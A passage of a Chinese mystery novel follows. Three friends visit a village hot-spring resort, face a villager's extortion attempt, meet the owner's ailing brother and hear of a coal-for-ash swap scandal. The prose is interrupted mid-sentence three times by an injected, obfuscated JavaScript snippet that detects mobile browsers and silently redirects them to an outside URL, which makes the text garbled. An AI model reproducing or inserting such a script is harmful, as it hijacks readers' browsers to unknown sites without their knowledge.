“对!对!是那么走,到转盘往东直走,不过彩虹桥,往北去是大明镇了。到娘娘坟再开一段就到泉眼村啦,度假村就建在村西头。”曹斌赶忙给予回应。 4. 意外纠纷 度假村就建在村子的西头,滔滔的王河水打院门前淌过,奔流不息地一路向东汇入辽河。一座挂满红灯笼的石桥连通两岸,应该是工匠为了美观,将中式仿古护栏喷涂成了朱红色。 大院被一望无际的良田包围着,不同生长期的作物色彩缤纷,层次分明,依着地势高高低低种植着水稻、高粱、糜子、谷子,其中以长势喜人的苞米为主。粗壮的秸秆、婆娑的叶子密密实实遮挡住阡陌垄沟,似天鹅绒地毯铺展到葱绿的远山脚下。 在汽车驶上石桥的当口发生个小插曲,不是因为转弯的速度太快了,驾驶员没有注意瞭望,而是道旁拉车的女人心不在焉,正回头跟坐车的男人拌嘴呢。平板车径直冲向车身,不是东张西望的李玄反应迅速,声嘶力竭地大喊一声,指定要出交通事故的。 他的喊声惊吓到了拉车的女人,极度紧张令其脚下一软,“扑通”双膝跪在地上。汽车瞬间刹住了,坐没坐相的中年男人被前倾的惯力裹挟着,一下子扑倒在车板上。 医生李玄出于好意跳下汽车,赶忙去搀扶摔倒的女人,关切地询问她伤没伤到。 女人被扶起来,拍打着裤腿上的尘土,紧说自己没有事,是走路不小心,跟汽车没关系。 “你个蠢老娘们!咋跟他们没关系呢?没有车子拐弯,你能摔倒啊?”她男人可来了脾气,气急败坏地从车子上爬起来,如恶虎般扑上去,一把揪住医生的胳膊,“你们是咋开的车?不注意瞭望啊?我老婆不但血压高,还有心脏病,就怕突然按喇叭,看把她吓得,你们得负责任。” “我没按喇叭呀。”刘庆东和曹斌也下了车。 村民愣了一下,才意识到的确没听到鸣笛声。可他还是不依不饶,弯腰拽起女人的裤腿,“你们喊了没有?喊了没有?看看,看看,这拨了盖儿磕得却青,都瘀血啦,十天半拉月就别想下地干活了,牛谁喂?孩子上学谁送?这下损失可大了去啦。” 三个好朋友一起去看,哪儿有那八宗事儿呀?女人脸上被日头晒得黝黑,身上倒是漂白。没有男人说的淤青啊? 女人顿时羞红了脸,赶忙把裤腿拉下去,“没事,没事,不就是磕一下嘛,没啥大不了的。你们该干嘛干嘛去吧。”接着召唤自己的男人,“二民,别难为人家啦,眼瞅着又要下雨了,还得抓紧把地里的苞米该子拉回家呢,牛都没吃的啦。” “那怎么行呢?都别走!”男人大喝一声,“她没事,我还有事呢,刚才那一下子,把我的梗椎病都整犯了,晃得我脑瓜子差点儿甩出去,现在还天旋地转的呢,不拿一千块钱看病,就别想走。” “你这不是讹人吗?”医生闻听此言气不打一出来。 物理老师也不买账,“报警,经官,臭不要脸的,跑来碰瓷呀?” 刘庆东并没有他俩那么激动,他晓得强龙压不住地头蛇,最后吃亏的还是外乡人。那回公司组织去山东旅游学习,领队董仲不立事,跟当地人发生了冲突,对方一嗓子几乎整个唐村镇的老百姓都出来了,操起随手的家伙把旅行车团团围住,不是邹县发电厂的同志出面调停,恐怕要被群殴了,你可要知道,那里是铁道游击队的故乡,惹乎的还是镇长的小舅子。 可好言好语无济于事,即使女人也帮着说话,可那中年农民油盐不进,非得让他们掏一千块钱平事儿。 “徐二叔,咋地啦?生那么大气呀?不是没碰到人嘛,咔倒了也没咋地,嘎哈要那么多钱呀?他们是度假村的客人,您就高抬贵手吧。”是个骑电动三轮车的小伙子劝解着。 这孩子长得方头方脑,皮肤黝黑,憨得呼哧的讨人喜欢。电动车不大,却很实用,在后斗子里装满了买来的蔬菜。年轻人是出事后才到的,在旁边瞅一会儿啦,听明白了大致的情况。 “你一边旯去!屁大点儿孩子也装人啦。”男人没好气地斥责道,“你们度假村的客人关我屁事儿?不提度假村还好点儿,提起来我就来气,她们姐弟俩没一个好饼,加上刘琪那死鬼,全是狼心狗肺的家伙。张强,你才来几天呀?不知道她们是啥人,我劝你呀,还是早早辞了这份工作,别跟狗操玩应学坏喽。” 看得出年轻人的性格老实本分,对中年人颇有几分忌惮,不敢针锋相对,只是低声嘟囔着,“我们度假村咋对不起你啦?” “对不起我的事儿多啦!”男人梗梗着脖子,努努着眼珠子,“别的不说,是她那死鬼丈夫刘老坏,把个好端端的煤矿搞黄了,让我们这些工人失了业,最后矿区被他强租了去,一包就是十年。让他小舅子在村东头包块地,建煤场搞得乌烟暴土的,刮得我屋里可哪儿都是煤粉子。我让他们赔偿,还拿镇里压我。建民宿口袋房用的荒地,最早是我放牛的草场,她托关系走人情搞到手,我种的饲料地全给砍了。呸,这不是恶霸是什么?我徐志民不会吃哑巴亏的,咱们骑驴看唱本,走着瞧。” “二民,你吵吵什么?看你这火气,都要把度假村点着喽。”一个剃着圆寸的汉子走过石桥,他五十几岁的年纪,高高的个子,魁梧的身材,脑袋扁长,前背篓后迪迪,青筋凸起,活像黄土高坡水土流失冲出来的沟壑,又像脖子上顶着个蓝莓山药。看他是个爱干净的人,穿着非常板整,衣服浆洗得透透楞楞的,脚上是小白袜、黑皮凉鞋,皮带扎腰,裤线笔直。 看到来人,暴躁男人顿时气焰锐减,“毕哥,这不怨我,他们开车横冲直撞,把我媳妇晃倒了。我向他们要点儿惊吓费,一千块钱不多吧?” “不多!如今上趟医院没个千八百的下不来,一千不多。”来人认同地摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853038|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头,“可他们是我的朋友,从沈阳来看我的,你看这咋整?” 男人顿时面露惊讶,“啥?你的朋友啊!这不是大水冲了龙王庙了吗?早知道是这样,冲着你毕哥,我一分钱也不能要啊。” 姓毕的汉子表示感谢,上前与李玄等人打着招呼,然后回头不忘关心女人的伤势,“弟妹的腿没事儿吧?” “没啥大事,磕了一下,不耽误运苞米该子。我刚才跟他们要钱,是赌气车开得太快了,还有看不惯那两个憋犊子。”他扭脸警告那年轻人,“以后在我面前少提姓翟的,我跟他们势不两立,有她没我,有我没她。” 圆寸汉子压低声音附和他,“那两个玩应不是好东西,度假村都要黄铺啦,一天都没几个客人,还硬挺,赖了吧唧地不走,真烦人,把整个村子都带穷了。” 男人点头同意,表示是那么回事儿,“毕哥,村东的煤场租出去了吗?” “还没呢,自从翟宏刚那小子破产后,煤场一直闲着,我们老板也联系过几个客户,可人家嫌地方小,达不到储煤的要求,都没谈成。闲了有大半年了,我们老板也急呀。” “是呀,是呀,我们村的好地方都被不是人的占了。我也是受害者,放个牛还得去南帽山。”男人恨得直咬槽牙。 汉子招呼三个朋友上车,要带他们进度假村,汽车临启动前他按下车窗,“二民,这两天有空儿没?我请你去市里吃猪脚火锅,咱哥俩聚一聚,你听我电话吧。” 望着驶过石桥的汽车,女人不无嘲讽地嗔怪道:“当家的,你咋那么怕姓毕的?他身上长了瘆人毛啦?你刚才那驹了暴跳的能耐呢?” 男人斜楞了一眼妻子,“老娘们家家的,你知道个啥?你以为姓毕的是煤场打更的呀,他可不是一般人,他给多少镇领导看过病,路子野着呢。雇他的老板更邪乎,黑白两道都好使,用脚趾头能碾死你。我有次跟他喝酒,喝高了,给我透话,说他是度假村的终结者,不用多久就能替我出气。” “他不是跟姓翟的处得挺铁吗?给刚子看煤场尽心尽力的,人家给他开工资呢。”女人不解地问。 “那是破产前,租地时谈好的,由乙方给他开钱儿。我听他那意思,他们老板也惦记度假村这块地呢。”男人蹁腿上了车,催促妻子抓紧去地里,“婆婆妈妈的,啥都问,快拉车吧。看这天儿,雨还是没下透啊。咱家这几亩苞米地全给淹了,只能做牛饲料,可惜潦啦。” 女人叮嘱他坐好了,便稳稳地抬起车把手,“张强,你搁那儿捅咕啥呢?车坏啦?” 小伙子头也没抬地回应道:“没电了,我昨晚充电啦?备不住是接触不好,诶,点儿背,只能推着走啦。”检查了半天,也没弄明白是什么故障,便无可奈何地推车上桥了。 5. 王河岸边的度假村 进入度假村的铁艺大门,院子里绿化得很好,仿佛步入鸟语花香的世外桃源。视野之内到处是十米多高的大树,枝繁叶茂蔽日遮天;树下一丛丛的灌木开满了五颜六色的花朵,品种各异,散发出异样的芬芳。林间鸟鸣声声,清脆悦耳,只看见了不怕生人的灰喜鹊,似戴着黑头套的侠客,喳喳叫着来回展翅俯冲,给它一句台词“我是佐罗”最恰当不过啦,其他好听的啁啾之声,就不知道是哪种鸟儿鸣啭出来的了。 汽车沿着彩色沥青路左折右拐地开出了几百米,蓦然一座城堡式的建筑跃入眼帘,银灰色的墙壁,窄长形的木制窗子,外加歌德式的尖顶,一下子让人耳目一新,心头为之震撼,猜想与贝内特小姐初见彭伯利庄园时的心情是一样的吧? “斌子、李大夫,霞姐说你们差不多快到了,让我到大门口迎迎贵客,没想到晚出来了一步,让几位跟村里的二民闹得不愉快。乡下人不开通,见识短,你们可别跟他生气啊。他就那德行,贪小便宜,见不得别人的好,一身的臭毛病,”热情的老毕为同村人赔着不是。他时不时地用手掸着裤子,扒拉着衣襟,像是沾上了脏东西,可实际上那里干干净净,没有一丝的飞尘与毛毛。 三个人均表示小事一桩,过去了没什么,李玄倒是关心起翟宏刚的病情。 老毕长叹一声,忧心忡忡的,“抑郁了,很严重,自从运输公司黄了,刚总便一蹶不振,后来把检车线也兑出去了。最近还出现了幻觉,好一阵,坏一阵,一宿宿地睡不着觉,就说看见女鬼来追着打他,被折磨得说不想活了,闹得挺厉害,她姐姐都快愁死啦。心病,脉象还好,我给他配了药酒,中餐、晚餐喝上一盅。可不去根,治标不治本啊,仅能让他睡着觉。想完全好喽,还得靠他自己,心病还得心来医。” 说着话,车子已经停到大楼的门口,有两个女人闻声跑出来迎接。听宾主的寒暄对话,刘庆东得知走在头里身体肥胖、穿着白色运动服的女人,正是度假村的老板,也就是曹斌的表姐翟宏霞。她的手指甲明亮亮地闪着耀眼的光,别看她年纪不小了,还赶时髦地镶着彩钻。而另一位俊俏姑娘,从制服上便能看出来,是这里的迎宾员。 三个人被引到四楼的办公室,办公室位于走廊的最西端,屋子里宽敞明亮,装潢考究,足有二百多平的一大间。室内最显眼的是墙上挂着的照片,黑色的像框里夹着张男人的黑白半身照,男人长得霸气,浓眉虎目,天生的自来卷,有些像某个老牌的歌唱表演艺术家。故去的这位立着眉毛,似对进门的来客心存戒备,恰有张翼德喝断当阳桥的威猛之气。透过敞开的窗子望出去,是一马平川的庄稼地,除了偶尔飞起偷嘴的麻雀,就再也没有带活气的生物啦。老毕告辞先走了,说要回煤场,两只大狼狗还没喂食呢。 四个人落座,女老板让服务员端上茗茶,又是一番嘘寒问暖,聊些家常里道的闲嗑。胖女人和刘庆东相谈甚欢,有一种莫名的亲切感。也许是自作多情了吧,人家就是场面人,自来熟,对新结识的人都是这般亲近友善。 女人首先询问年龄,当得知自己大上半岁,便以大姐自居。又询问刘庆东的工作单位,听说是电厂派到大明镇看守中转煤场的,随即大谈特谈铁法煤业公司的发展史,从大明镇到铁法市,又改叫调兵山,如数家珍般介绍现有的八大煤矿,大明、晓明、小南、小青、大兴、大隆、小康、大平,感慨城市昔日的辉煌,由一个公社一跃成为拥有十四万人口的能源基地,又叹息昨昔今非人口流失,年轻人都去了大城市,转眼间不足八万人了。还告诉他认识那中转煤场的方老板,与她的弟弟是好朋友。 当得知刘庆东的儿子在三甲医院上班,先是一顿的羡慕夸赞,接着是对自己无儿无女的伤感,想起过世的老头子,实在对不起他们老刘家,如今是孑然一身,弟弟又病成这样。打电话让他们来,是想帮着开导开导他,说着说着不禁潸然落泪,哀伤地凝视着墙上的照片。 表弟曹斌和朋友李玄自然要好言相劝了,说是抑郁症并不难治,她弟弟的病必定会好起来的。总算是把女老板的情绪平复了,便要带着他们去隔壁,她弟弟的房间,并特意叮嘱不要提及运输公司的事儿。 还没等大家走出房门,门外传来“喯喯喯”输入密码声,随后门被人从外面推开了,就看这位三十多岁的光景,高高的个子,身量足有一米九多。刘庆东得仰视着看来人,心想这家伙不打篮球可惜了。这大胳膊,大长腿,大骨头架子,想当年全填上肌肉,那是何等的高大威猛啊。可眼下不行了,像被人抽空了脂肪,病歪歪的,瘦得脱了相,皮肤松弛的赛过沙皮狗,稀稀疏疏的头发也跟着凑热闹,就剩左右对称的两撮,让人以为他童心未泯,学古代儿童扎成总角呢。紧随他的身后进来的姑娘,是端着果盘的女服务员。 “哎呀,小刚,你咋瘦成这样啦?哎呀,去年见你还身体倍棒呢,这还是你吗?”曹斌一下子惊呆了,他紧皱双眉唏嘘不已,一把拉住对方的手。 原来这就是他的表弟!倒闭的运输公司老板。从那木讷的表情中再也看不到昔日的风采,混沌呆滞的眼神看了曹斌许久,方才辨认出是自己的表哥。 “表哥来了,你这大忙人咋有工夫儿过来呢?来之前也不来个信儿,我好开车去汽车站接你呀。” “我开车来的。”曹斌忍着心痛颤声说。 反应迟钝的翟宏刚纳闷地问:“你也买车啦?看来你补课没少赚啊,你们都行,小日子过得不错呀。”这句话仿佛让他联想到什么,脸色瞬间变得消沉难看。 “我上哪儿有车去,是管朋友借的,人家特意请假送我来的。”于是将两个同伴介绍给表弟。刘庆东与李玄分别与大个子握手,意料之中,病人的手冰凉,正是气血亏虚的症状,可不抖,只是皮肤的颜色过于偏黄了。 “大斌是带着朋友来玩的,他工作忙,来一趟不容易呀,我们可逮好好招待啊。”女人含含糊糊地敷衍着。 “姐,我找你有事儿。”宏刚恳切地望向姐姐。 翟宏霞不知弟弟有啥事,是否在外人面前当讲不当讲,便要拉着他去走廊里说,却被宏刚推开了,“没啥背人的,就两句话。我昨晚想明白了,决定去巴西投奔大奎哥种大豆;第二件,你再借我两百万,我上那边投资赚了钱,立马就还你。我也知道你手头不宽裕,度假村的生意萧条,要是有困难,给我拿一百万也行。” 望着弟弟祈求的目光,女老板斩钉截铁地表示,“你这是一件事儿嘛,想通啦?二叔的建议可行?去找堂哥宏奎,听说他在那边干得有声有色的。男子汉大丈夫爱拼才会赢,大不了从头再来嘛,行,姐给你拿二百万,就是砸锅卖铁也要支持我兄弟。” 听这姐俩的对话,弟弟是要去海外打拼啊,不抑郁啦?重新鼓起了勇气。旁边的三个人也为他的重拾信心而高兴。 “你打算啥时候走?”姐姐问。 “越快越好,签证下来就动身。”看来弟弟主意已定。 “好,明天,我就把钱准备好,你抓紧办签证。”随即对伺立一旁的服务员吩咐道,“小红,给刚总收拾行李,这回可不是出去一天两天啊,在家千日好,出门一时难,该准备的都准备全喽。”姑娘立刻点头称是,迈着轻盈的碎步出去了。 这时,女老板的手机响了,她接通后神情顿时严肃起来,哼哼嗯嗯地一阵后,盛气凌人地训斥着对方。刘庆东耳力好,一百米外蚊子的嗡嗡声也能听得真切,通话双方好像在说账目的事儿,关于度假村维修用款上出现了纰漏,对方应该是管财务的会计,正低声下气地解释呢。 “老张,你别说了!我这就过去,看看你咋给我个合理的解释。”她挂断电话,对弟弟吩咐道,“小刚,你先带大斌和这两位朋友四下转转,等吃完了午饭泡泡温泉,我去财务室,老张头又跟我耍花活了,我发现这人手脚不干净,要不是他跟王村长有那层关系,早就把他开了。他这回若是解释不清楚,我不但要炒他鱿鱼,还要告他贪污做假账,让他吃不了兜着走,把过去秘的钱都给我吐出来。” 刘庆东从女人的语调中听出了飞扬跋扈的狠劲儿,与刚才那种和颜悦色、柔情似水形成了鲜明的对比。她弟弟却似个宽厚之人,一个劲儿地劝着,替会计说着好话。 走出楼来,看见那骑电动三轮车的小伙子,正在门口修理电瓶呢,他的身边并排蹲着女服务员,为其递着工具,两个人卿卿我我甚是亲近。 翟宏刚全没把他俩放在眼里,领着三个来客径直从其身边走了过去,一副目中无人高高在上的架势。还是那两个年轻人条件反射般站起身,规规矩矩地向他问好。 “你,把车子推到旁边去,一会儿来客人了,看到这儿乱摆乱放,成何体统?”指责完男孩子,又厉声训斥女服务员,“小红,你的岗位是在这儿吗?是前台!是迎宾员,不是修理工,若是在我的运输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853039|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司,马上就把你辞退喽。还不快去!呆头呆脑的像个傻子。你不是练过舞蹈吗?微笑,把美呈现出来,别整天板着个脸,把客人都吓跑啦。若是不会,晚上去我房间,我交你咋笑。”那两个职员在他的淫威下,乖乖地遵照去办。 几个人在树林里走着,高大挺拔的树木,湿润清新的空气,沁人心脾的阴凉,外加上人工造景的点缀,假山溪水、凉亭池沼,这里的确是消暑的好地方。可惜是阴雨天,不能充分享受这份沉浸式的体验。 “这些大树都是后移栽来的,一棵都得几千块钱呢,原来这里光秃秃的,是储煤的大空场。”宏刚指着周围的参天大树。 “这里真好啊,前两次来得匆忙,只泡了泡温泉,没好好在院子里走一走。这回一定要全方位地欣赏一下。”医生做着深呼吸,似要把肺子里的污浊之气尽数置换掉。 踩着茵茵青草的刘庆东也被优美的景致所陶醉,他正饶有兴趣地观看只黄蜂,那黄白相间的蜂子落在龟裂的树干上,闷着头贪婪地吞噬着白虫子呢。 “别不知足,那就不错啦,来这里最主要是泡温泉吗?这里的泉水好,传说康熙爷用它为将士疗过伤。”曹斌对这里颇为熟悉。 “大斌哥,你记岔劈了,不是康熙,是乾隆。”表弟给物理老师纠正道。 医生颇感兴趣地望着兄弟俩,“快说说,是咋回事?我听说过本溪的狗儿汤,治好过老罕王的皮肤病,乾隆皇帝亲笔御赐丹东东汤为圣泉第一,还有汤岗子、弓长岭、汤沟温泉,可你们调兵山的温泉却没听说过。是真温泉,还是地下水?二者可是有天壤之别的呦。” “的确是真温泉,不是有放射性的地热水,从村北头泉眼里冒出来的,水烫人,都能煮鸡蛋。也不知道是啥时候有的,会计张文宏还特意查过县志,说是明朝时就有泉眼村的地名了,证明那时候就有温泉啦。”秃顶男人身子虽然有病,但是智力还够用,过去的事情没有淡忘,“乾隆爷洗过这温泉也是真的,北边的猫五爷庙可以作证,传说当年他带着刘墉出关打仗,可屡战不胜,刘墉寝食难安,在大帐篷里睡着了,便做了个梦,梦见一位将军穿戴的人,说是五将军,有破敌良策,定能保他们君臣凯旋还朝。起初刘墉没有在意,之后他又做了同样的梦。刘墉感到奇怪,就把此事禀告了乾隆,乾隆爷命令刘墉把这位将军的模样画出来,待画好后,突然从军帐外跑进来一只全身黑色的大猫,把刚画好的像叼走了。乾隆见此,大声喊猫将军保朕凯旋哦。真是灵验了,随后便大破敌军,龙颜大悦给将军建立猫五爷庙,以颂功德,亲笔题写‘保家护国,风调雨顺’。那庙就在去通江口的公路旁边,到庙里求财求子可灵验了。” “乾隆来过这里打仗?刘哥,你听说过吗?”李玄听得是一头雾水。 刘庆东也不清楚,“没听说过,民间传说不能完全信,我只知道乾隆东巡祭过祖,曾经出过北面的边墙法库门。” 病秧子却一口咬定,是御驾亲征来过此地,千真万确洗过温泉,“我们调兵山是块宝地,大辽时属于黄龙府管辖,不光乾隆来过,金国的兵马大元帅完颜宗弼,就是金兀术,曾经在市里驻过军,调兵遣将南征大宋呢,把徽钦二帝囚禁在南边锁龙沟的井里,所以有二帝在黄龙府坐井观天一说。” “啊?原来黄龙府在这里呀,我还以为在黑龙江哈尔滨呢。”曹斌吃惊地说。 刘庆东是知道的,他来大明镇看守煤场,听老板的嫂子曾经说过,靖康之耻的两个男主角的确被囚禁在此地,调兵山的市名也源自金兀术曾在这里安营扎寨,操练军队,他还去网红景点兀术城参观过呢。 医生好似心里有话要说,又犹犹豫豫,最后还是一吐为快了,他询问翟宏刚是不是得了肝病,回答说没有。他又问是否有四肢疲乏、体重减轻、恶心、呕吐、腹痛等症状,得到的回答这些还真有。又问是不是吃了什么药,宏刚说一年多未得病,根本没吃过药。 李玄又摸了摸脉,看过他的舌苔,查来查去,最后怀疑是喝药酒导致的,里面有药材过量了。可转念一想,不会呀,老毕是中医世家,药性掌握得如火纯青,咋会弄错呢?他说等回去了,再看看药酒中成分的实际情况。还说治睡眠不好他有个方子,不用吃药喝药酒,五克的陈皮、十五克的桂圆、再加上六个无核大枣,放到一起煮十五分钟,再往汤里窝个鸡蛋,接着煮十五分钟,然后全喝喽,坚持两个月就会有效果。 6. 法官二叔 “老哥,往这边走,那边的橡树林掉果子呢,像你那有头发的不打紧,我们这毛少的可遭殃喽,当当地像弹脑瓜崩。”刚子招呼着走在前面的刘庆东,“那边是大楼的西大山,院外全是苞米地,除了铁栅栏,没啥好看的。” 原来那片是橡树林啊,刘庆东注意到这种树的外皮皴裂斑驳,给人历经沧桑之感。从小铲子形状的叶子间不时掉落一个个坚果,小果实一端光溜溜的,另一头毛茸茸的,像戴了顶贝雷帽,颇有艺术家的气息。正值成熟期吧,仔细去看散落得遍地都是。 刘庆东应了一声拐回来,还冲翟宏刚报以微笑,他这才注意到这位的门牙有色差,一个看起来不那么自然,八成是后补上去的? “那边是民宿吧?”曹斌看来是早有耳闻,“听说是满族风情的建筑,上次来是给姐夫办丧事,没得空儿过去看,说是建的差不离了,还不能住人。” “你二月来是没建好呢,刚完工没几个月,起先对外营业挺好的,可没过多久就出事啦,接连闹鬼。没办法,谁也不敢住,于是就关了。”翟宏刚看似心有余悸,不敢去看那一围篱笆墙,“我原来也住那里,平房接地气,口袋房是仿造新宾最正统的样式,万字炕上面铺电热板,像小时候睡的火炕,熥得前胸后背真舒服。我把两部手台搬到厢房里,没事听听车豁子们的对话,这帮人有许多原先是我的手下,可能咧大彪了。谁曾想没住几天,才发现那里晚上闹鬼呀?有脏东西追着我打,可把我吓死了,再也不去啦。” “表弟,哪里有鬼呀?这世上就没有鬼魂,什么清风烟魂的,都是人们想出来吓唬自己呀。你心思别太重,谁没遇到过挫折呢?振作起来,面对现实。”表哥为弟弟鼓劲儿。 可心理阴影哪有那么容易抹去的?搅和在一起的麻绳还得一扣扣地解呢。翟宏刚一个劲儿地摇头,对民宿望而却步,坚决表示不再去了。 李玄以医生的思维考虑问题,他劝阻了焦急的曹斌,“别急,慢慢来,你这么逼他,反而会事与愿违。我们还是陪他回去吧。” 刘庆东认为医生说的有理,千年的冰峰不是一天两天能融化的,可内心的真实想法是感到遗憾呀,口袋房、万字炕、满族院落失之交臂了。再一想也没什么,跟沈阳故宫的差不多,不过更民俗化罢了。 “别介,大老远来的,都走到跟前了,不去怪可惜的。”畏惧者还很通情达理,“你们过去看看吧,建得可好了,我自己回去。嗯,要不,我们一起回楼里,我派小红当解说员带你们去,那小丫头受过专门的培训,讲得可详细了。”翟宏刚考虑的很周到,他刚想转身往回走,却笑着指向前方,“不用回去了,我二叔来啦,他比小红更合适,人家知识渊博,当过大法官呢,让他陪你们过去。” 打对面来了位皓首老人,中等的个头,瘦削的身材,身穿深色的体恤衫,走路的步伐坚定有力。他嘴里不歇气地朗诵着,抑扬顿挫像在表演,离得很远刘庆东就听清了,是“慈母手中线,游子身上衣,临时密密缝,意恐迟迟归”,每到句尾便拉长声调,大有古人吟诗的韵味。 “你二叔的头发都白啦?”曹斌感叹着岁月无情啊。 “他都六十二啦,头发不白是妖怪。”表弟不以为然地哂笑着。 “朝辞白帝彩云间,千里江陵一日还。两岸猿声啼不住,轻舟已过万重山。”爱好古诗的老人走到跟前,他好奇地看着众人,“小刚,有事呀?咦,这不是大斌吗?你啥时候到的呀?”老人认出了远道而来的亲戚。 曹斌赶忙称呼二叔,表弟的叔叔也是长辈嘛,他亲热地向其问好,并将两个朋友加以引荐。 “二叔,你在绕圈锻炼呀?我就佩服你这股劲儿,持之以恒,风雨无阻从不间断。”侄子讨好地摘去老人头发上的花瓣。 叔叔看了一眼那粉红的纸花笑着说,“今天只走了一圈,在民宿那边看了一会儿拍戏,和袁导演探讨了一下不同光位的效果,故而耽搁了时间。这花瓣还是他们拍打斗戏撒的呢。” “哦,你去看拍戏啦。对,真真在那里拍微电影呢,真真和袁导说在互联网上播放老挣钱了。”翟宏刚想起来有这么回事,“二叔,他们要去看满族四合院,你也知道我瞅那地方就发怵,你带着去呗?” “好啊,我带他们过去没问题。”白发老人没有丝毫的不情愿,爽快地答应着,“小刚啊,你总说那里闹鬼,长着蓝毛的阿飘追你,我可不信啊。根本没有全能而唯一的上帝,也没有人死后脱离□□的灵魂,最多是爱因斯坦提出的仅能维持十分钟的脑电波。物质决定意识,客观决定主观。世界是真实的,不是虚无缥缈的。” 侄子完全不同意老人的说法,认定鬼魂是实实在在存在的,还和老人打赌,让叔叔去民宿里睡几晚,到时候就知道是真是假啦,不再想当然地瞎胡说了。爷俩唇枪舌剑谁也说服不了谁,最后不欢而散,悻悻然地分了手。 老爷子感到没有得到应有的尊重,一边领路一边抱怨着,“这小子浑啊,长个榆木脑袋,小时候贪玩逃课,不爱读书,跟同学打架下死手,总给我大哥惹祸。长大了成了废材,啥也不懂,啥也整不明白。他姐夫出钱给他办公司,说给败了就败光啦,耍钱酗酒搞小姘,充大哥给人担保,那还有好?被人糊弄了吧?名声扫地,他都不知道是谁下的绊子,做生意最看重的就是名声。” “二叔,您是说那车炉灰渣子不是小刚授意的?是有人动了手脚。”曹斌插嘴问他。 “你也听说啦?我是上回来知道的。不清楚是不是这小子授意的,他口口声声说不是,是别人为了搞垮他,故意掉了包,有人陷害他。可半挂车是他公司的,司机是他雇的,煤是从矿上拉的,封签是甲方电厂专人封的,路上有监控,调出来没发现半道儿停过车,到地方封签还是好好的,没查出有问题。就像在大庭广众之下变戏法。” 刘庆东听得认真,不觉脱口而出,“各个环节都没问题,凭空煤块变成炉灰渣子了,在道儿上自燃啦?不可能啊。绝对是有内鬼,做了手脚,首先封签的人逃不了干系,最少有个卸货门故意没封,半道儿将煤换成炉灰再封上。一种可能是公司老板指使的,另一种可能是想搞垮老板的人私下买通的。一辆半挂车拉五十多吨煤,夏天煤价是四百多一吨,那可是两万多块钱呀。别人不了解情况,就会认为以假乱真是经常的,是惯犯,乙方不知道骗取了甲方多少钱呢?这事儿一出,他的人设可就崩塌了,现在国有企业经营监管抓得多严啊,谁还敢用他的公司运煤啦?” 听他一席话,老爷子立马对刘庆东刮目相看,“咦,老弟你懂的不少啊,煤价都知道,看来是行家呀。思路也清晰,就是那么回事,可管封签、监控的都不认,说是按章办事没有纰漏,调查来调查去也没整明白,后来说是运错地方了,炉灰是用来垫道的。可没遮过去,有人把这事儿捅到上面去了,甲方派纪委下来查了好几回呢,最后到年底就不续约了。这还没完,好事不出门,坏事传千里,换煤的事儿被添 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853040|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油加醋地传得满城风雨,搞得运输公司的生意一落千丈,没办法只好卖车还贷款,关门停业啦。老弟,你说的很对,不是一,就是二,我这法官的眼睛不揉沙子,什么人没见过?明察秋毫,我认为不是小刚干的,有人背后使坏呀。我也在帮他分析,帮他查呢,那些不法分子有一个算一个,都别想跟我翟俊波扯哩个啷。” 医生用戏谑的口吻说:“叔啊,一是一,二是二,那是老观念啦。有可能封签人没有仔细去看,他也不知道车上是煤,还是炉灰,就同意从煤矿发车了,用量子力学来分析是二者的叠加,就像是薛定谔盒子里的猫,生死不明,都有可能,只有到了目的地才知道是什么。还有煤车走的路线不是唯一的吧?” “当然不是一条啦,老路窄,新路宽,但老路近一些,两条路都能到。在监控下走哪条有区别吗?只是油耗和所用的时间不同啊。”老法官不知他要说什么,这和走那条路有啥关系。 李玄一本正经地摇着头,“那可不一样,就像我们从沈阳来,可以走高速,也可以走省道,坐车的人若是睡着了,到了调兵山才醒,又没人跟他讲走的路线,他是完全不知道的。只有在路途中睁开眼去看,才会从几种可能中确定一种,是吧,老曹?” “老李,你在说我呢?是呀,是这么回事,睡觉时你既可以说在高速上,又可以说在省道上,是量子力学的叠加态。只有睁开眼睛去看,才会进行量子坍塌,明确知道在哪里。” 老人不能接受他们的观点,“你这种叠加是自己想出来的,是煤,还是炉灰,装车时就已经定了,你不去看,它也是肯定的,不存在即是也不是的状态。” “叔,你别不信,这是科学,前沿科学,用宏观的物理学是无法解释的,就是所谓的看到即改变。”曹斌毕竟是物理老师,对新理论是认同接受的。 